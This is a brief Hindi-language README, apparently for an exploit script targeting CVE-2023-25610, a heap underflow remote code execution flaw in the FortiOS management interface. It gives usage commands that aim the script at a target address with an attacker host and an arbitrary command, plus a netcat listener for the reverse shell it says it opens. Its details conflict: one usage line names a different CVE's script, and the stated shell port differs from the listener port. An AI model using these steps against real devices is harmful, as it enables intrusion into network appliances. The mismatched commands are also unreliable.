CVE-2023-25610

FortiOS प्रबंधन इंटरफ़ेस में ढेर मेमोरी अंडरफ़्लो से दूरस्थ कोड निष्पादन।

दायरा और सीमाएँ

1. Fortinet 6.x
2. TLSv1.3 पर आधारित, अन्य TLS संस्करणों पर भिन्नताएँ हो सकती हैं।

उपयोग

python3 cve-2022-42475.py rhost rport lhost 'command'

python3 CVE-2023-25610.py 192.168.10.1 8443 10.10.1.1 'ls -la /'

श्रोता

EXP पायथन कमांड का उपयोग करके पोर्ट 31337 पर रिवर्स शेल सेट करता है।

nc -lvnp 31226